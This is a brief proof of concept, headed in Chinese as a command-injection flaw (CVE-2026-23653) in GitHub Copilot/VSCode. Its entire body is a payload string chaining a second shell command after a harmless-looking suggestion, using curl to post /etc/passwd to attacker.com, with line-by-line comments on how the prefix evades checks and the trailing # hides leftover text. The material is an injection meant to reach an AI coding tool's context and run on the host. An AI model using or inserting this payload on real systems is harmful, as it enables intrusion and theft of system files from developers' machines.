CVE-2026-23653 GitHub Copilot/VSCode命令注入漏洞

# Proof of Concept for CVE-2026-23653 # This payload demonstrates a command injection scenario. # It assumes the vulnerable input is directly passed to a system shell. # Malicious input to be injected into Copilot/VSCode context payload = "valid_suggestion; curl -d @/etc/passwd http://attacker.com/exfil #" # Explanation: # 1. 'valid_suggestion' acts as a benign prefix to bypass basic checks. # 2. ';' is the command separator in Unix-like shells, allowing a second command. # 3. 'curl' executes to exfiltrate sensitive file contents to a remote server. # 4. '#' comments out the rest of the line to prevent syntax errors.